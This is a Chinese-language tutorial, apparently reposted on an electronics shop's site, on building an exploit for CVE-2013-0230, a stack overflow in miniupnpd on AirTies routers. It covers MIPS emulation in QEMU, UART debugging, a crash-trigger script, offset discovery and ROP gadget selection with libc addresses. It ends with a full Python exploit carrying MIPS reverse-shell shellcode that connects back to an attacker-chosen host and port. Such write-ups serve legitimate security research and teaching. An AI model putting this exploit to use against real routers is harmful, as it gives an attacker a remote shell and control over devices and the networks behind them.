锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

路由器漏洞 EXP 开发实践

时间:2023-08-22 22:07:00 1sma22at3g抑制二极管

测试环境

Debian 9

Qemu

本文主要以 CVE-2013-0230 以漏洞为例,解释路由器缓冲区的漏洞 exp 编写。

0x01 环境搭建

使用 firmware-analysis-toolkit

firmware-analysis-toolkit

https://github.com/attify/firmware-analysis-toolkit

是模拟固件和分析安全漏洞的工具。

该工具可自动解压固件并创建 image 使用 qemu 模拟路由器。

本文还尝试使用该工具,但存在一些问题,无法正常启动。这种情况可以使用Debian MIPS虚拟机可以直接调试或使用qemu-mipsel-static来测试某个mips程序

工具链

使用 buildroot 来构建

从 buildroot 官网下载最新版本,解压配置相关设置,下载地址:

https://buildroot.org/download.html

执行命令:

make menuconfig

选择 mips (big endian) 构架

kernel 这里的选择是3.10.x

cross gdb 选择,或者也可以使用gdb-multiarch(apt-get 直接安装,在使用时要set arch mips,本文使用gdb-multiarch)

make 直接编译

make -j2 (-j 后面 cpu 核心)

在根目录的 output 文件夹是编译好的程序

网桥搭建

 

bunctl -t tap0 -u 
 
ifconfig tap0 up
 
brctl addbr br0 
 
brctl addif br0 tap0
 
brctl addif br0 eth0
 
ifconfig br0 192.168.86.2

在启动Debian MIPS虚拟机后,需要配置虚拟机 IP 与主机通信

Debian MIPS 虚拟机

从连接下载 qemu 镜像:

https://people.debian.org/~aurel32/qemu/mips/

网桥搭建

 
 
bunctl -t tap0 -u 
 
ifconfig tap0 up
 
brctl addbr br0 
 
brctl addif br0 tap0
 
brctl addif br0 eth0
 
ifconfig br0 192.168.86.2

在启动 Debian MIPS 虚拟机后,需要配置虚拟机IP 与主机通信

启动命令

 
 
#!/usr/bin/env sh
 
qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no
 

UART 调试

如果手边有路由器,也可以用 UART 调试路由器, 需要使用的是 ttl 转 usb 模块, 拆卸路由器后,电路板上通常有四个插孔,用于开发期间的调试,而相应的调试电路在发行期间没有被拆除,因此它们是外部的 ttl 转 usb 模块或六合一模块 UART 调试。需要使用的接口主要包括 TX、RD、GND,连接完成后

在 Linux 可在系统上执行:

sudo minicom --device /dev/ttyUSB0

然后,路由器的启动信息将出现在重新接入电源时,详情请参考

http://future-sec.com/iot-security-hardware-debuging.html

0x02 CVE-2013-0230

预备知识

本文用于调试 gdb 调试,使用插件pwndbg:

https://github.com/pwndbg/pwndbg

当然也可以用gef

https://github.com/hugsy/gef

2、mips 有些汇编需要了解汇编基础

3.本文调试 CVE 为了栈溢漏洞,还需要了解其原理

4、ida 使用基础

CVE-2013-0230

设置目标

下载到目标固件后,使用binwalk解压,记得先

sudo apt install squashfs-tools

解压完后

漏洞出现了miniupnpd文件上

使用qemu-system-mips启动虚拟机,配置 ip

配置后,通过 scp 将 miniupnpd 文件传输到虚拟机,

还需要将libc.so.0ld-uClibc.so.0复制到虚拟机中,放在一起 lib 目录用,设置链接,确保miniupnpd可以运行

启动miniupnpd一些参数需要设置

这里写了一个方便调试的脚本 run, 并且开启 gdbserver , 启动远程调试服务

IDA 逆向分析

使用 ida 打开miniupnpd文件, 来到ExecuteSoapAction

可以清楚的看到 memcpy 函数调用, 调用 memcpy 过程中将 a1 不受限制地复制数据 a0 因此,经典的栈溢出发生了

远程调试

在虚拟机中运行 run 脚本, 在主机上~/.gdbinit中加入

set architecture mips

target rmote 192.168.86.103:1234

当使用 gdb-multiarch 时,自动执行 .gdbinit 脚本内容

gdb 连上后运行触发脚本

 
    
 
    
import urllib2
 
    
payload = 'A'*2500 
#payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D'
 
    
#payload = 'A' * 2076 
#payload += 'BBBB'
soap_headers = {
   
     
        'SOAPAction':"n:schemas-upnp-org:service:WANIPConection:1#"+payload,
        }
 
    
soap_data = """
  
   
    
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap.envelope/"
  >
  
  
  
  
  
  """
 
    
req = urllib2.Request("http://192.168.86.103:5555", soap_data, soap_headers)
res = urllib2.urlopen(req)
 
    

脚本运行后,程序崩溃

返回地址已经被覆盖为 0x41414141, 使用 pattern 工具进一步来确定栈的大小

pattern 2500

将 payload 改为生成的字符串

重新运行

确定栈大小 2076

在 0x404f44 处下断点,断下来后,查看 a0、a1 的情况

可以看到 a1 指向 'AAA...'

a0 到 sp 的大小为 2072, 符合我们所计算的溢出栈的大小

0x03 ROP 链

我们可以控制 ra、s0、s1、s2、s3、s4、s5、s6 寄存器, 由于 mips 构架的 CPU 有两处缓存,cpu 分别从 code 缓存和 data 缓存来获取指令和输入的数据

为此我们需要处理缓存问题,清除缓存。Airties 路由器不使用 ASLR ,libc 的地址不变

我们需要通过调用 sleep 函数来刷新缓存的问题,随后返回到 shellcode 去执行。

这里使用 ida 插件 mipsrop

https://github.com/devttys0/ida

来查找一些 gadget

1、查找 "li $a0, 1"

用 ida 载入 libc.so.0 , edit -> plugins -> MIPS ROP Finder 来初始化 mipsrop 插件

mipsrop.fine("li $a0, 1")

这里选择地址 0x00036860 处的 gadget

2、通过 miprop.tails() 来找到有用的 syscall

找到一处通过 s1 传入地址,跳到该地址调用的 gadget

3、找到存放 shellcode 的地方

4、gadget 将 shellcode 的地址放入 s0 ,为此要找到一处将 s0 放入 t9 的指令

5、找到 libc 地址

在 debian mips 虚拟机上执行

sysctl -w kernel.randomize_va_space = 0

来禁用 ASLR 通过 /proc/PID/maps 来找到 libc 的地址

libc 的基址为 0x77f92000

sleep 地址 0x35620

ra_1 = 1.gadget

s1 = 2.gadget

ra__2 = 3.gadget

s6 = 4.gadget

s2 = s6 = 4.gadget

于是 payload 构造如下

2052 bytes junk + s1 + 16 bytes junk + s6 + ra_1 + 28 bytes junk + sleep + 40 bytes junk + s2 + ra_2 + 32 bytesjunks + shellcode

0x04 最终 EXP

 
    
 
    
 #!/usr/bin/env python
 
    
 
    
import urllib2
from string import join
from argparse import ArgumentParser
from struct import pack
from socket import inet_aton
 
    
BYTES = 4
 
    
 
    
def hex2str(value, size=BYTES):
    data = ""
 
    
    for i in range(0, size):
        data += chr((value >> (8*i)) & 0xFF)
 
    
    data = data[::-1]
 
    
    return data
 
    
 
    
arg_parser = ArgumentParser(prog="miniupnpd_mips.py", description="MiniUPnPd \
                            CVE-2013-0230 Reverse Shell exploit for AirTies \
                            RT Series, start netcat on lhost:lport")
#arg_parser.add_argument("--target", required=True, help="Target IP address")
arg_parser.add_argument("--lhost", required=True, help="The IP address\
                        which nc is listening")
arg_parser.add_argument("--lport", required=True, type=int, help="The\
                        port which nc is listening")
 
    
args = arg_parser.parse_args()
 
    
libc_base = 0x77f92000
ra_1 = hex2str(libc_base + 0x36860)     # ra = 1. gadget
'''
.text:00036860                 li      $a0, 1
.text:00036864                 move    $t9, $s1
.text:00036868                 jalr    $t9 ; sub_36510
.text:0003686C                 ori     $a1, $s0, 2
'''
s1 = hex2str(libc_base + 0x1636C)       # s1 = 2. gadget
'''
.text:0001636C                 move    $t9, $s1
.text:00016370                 lw      $ra, 0x28+var_4($sp)
.text:00016374                 lw      $s2, 0x28+var_8($sp)
.text:00016378                 lw      $s1, 0x28+var_C($sp)
.text:0001637C                 lw      $s0, 0x28+var_10($sp)
.text:00016380                 jr      $t9
.text:00016384                 addiu   $sp, 0x28
'''
sleep = hex2str(libc_base + 0x35620)    # sleep function
ra_2 = hex2str(libc_base + 0x28D3C)     # ra = 3. gadget
'''
.text:00028D3C                 addiu   $s0, $sp, 0xD0+var_B0
.text:00028D40                 lw      $a0, 0($s2)
.text:00028D44                 move    $a1, $s1
.text:00028D48                 move    $a2, $s4
.text:00028D4C                 move    $t9, $s6
.text:00028D50                 jalr    $t9
.text:00028D54                 move    $a3, $s0
'''
s6 = hex2str(libc_base + 0x1B19C)       # ra = 4.gadget
'''
.text:0001B19C                 move    $t9, $s0
.text:0001B1A0                 jalr    $t9
.text:0001B1A4                 nop
'''
s2 = s6
lport = pack('>H', args.lport)
lhost = inet_aton(args.lhost)
 
    
shellcode = join([
    "\x24\x11\xff\xff"
    "\x24\x04\x27\x0f"
    "\x24\x02\x10\x46"
    "\x01\x01\x01\x0c"
    "\x1e\x20\xff\xfc"
    "\x24\x11\x10\x2d"
    "\x24\x02\x0f\xa2"
    "\x01\x01\x01\x0c"
    "\x1c\x40\xff\xf8"
    "\x24\x0f\xff\xfa"
    "\x01\xe0\x78\x27"
    "\x21\xe4\xff\xfd"
    "\x21\xe5\xff\xfd"
    "\x28\x06\xff\xff"
    "\x24\x02\x10\x57"
    "\x01\x01\x01\x0c"
    "\xaf\xa2\xff\xff"
    "\x8f\xa4\xff\xff"
    "\x34\x0f\xff\xfd"
    "\x01\xe0\x78\x27"
    "\xaf\xaf\xff\xe0"
    "\x3c\x0e" + lport +
    "\x35\xce" + lport +
    "\xaf\xae\xff\xe4"
    "\x3c\x0e" + lhost[:2] +
    "\x35\xce" + lhost[2:4] +
    "\xaf\xae\xff\xe6"
    "\x27\xa5\xff\xe2"
    "\x24\x0c\xff\xef"
    "\x01\x80\x30\x27"
    "\x24\x02\x10\x4a"
    "\x01\x01\x01\x0c"
    "\x24\x0f\xff\xfd"
    "\x01\xe0\x78\x27"
    "\x8f\xa4\xff\xff"
    "\x01\xe0\x28\x21"
    "\x24\x02\x0f\xdf"
    "\x01\x01\x01\x0c"
    "\x24\x10\xff\xff"
    "\x21\xef\xff\xff"
    "\x15\xf0\xff\xfa"
    "\x28\x06\xff\xff"
    "\x3c\x0f\x2f\x2f"
    "\x35\xef\x62\x69"
    "\xaf\xaf\xff\xec"
    "\x3c\x0e\x6e\x2f"
    "\x35\xce\x73\x68"
    "\xaf\xae\xff\xf0"
    "\xaf\xa0\xff\xf4"
    "\x27\xa4\xff\xec"
    "\xaf\xa4\xff\xf8"
    "\xaf\xa0\xff\xfc"
    "\x27\xa5\xff\xf8"
    "\x24\x02\x0f\xab"
    "\x01\x01\x01\x0c"
    ], '')
payload = 'A'*2052 + s1 + 'A'*(4*4) + s6 + ra_1 + 'A'*28 + sleep + 'A'*40 + s2\
    + ra_2 + 'C'*32 #+ shellcode
 
    
 
    
soap_headers = {
   
     
    'SOAPAction': "n:schemas-upnp-org:service:WANIPConnection:1#" + payload,
}
 
    
soap_data = """
    
     
    
    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
    >
    
     
    
        SOAP-ENC:root="1">
    
    
    
    """
 
    
#try:
print "Exploiting..."
req = urllib2.Request("http://192.168.86.103:5555", soap_data,soap_headers)
urllib2.urlopen(req)
 
    

参考文章

https://p16.praetorian.com/blog/getting-started-with-damn-vulnerable-router-firmware-dvrf-v0.1

https://emreboy.wordpress.com/2012/12/24/connecting-qemu-to-a-real-network/

http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

http://www.devttys0.com/2013/10/mips-rop-ida-plugin/

锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章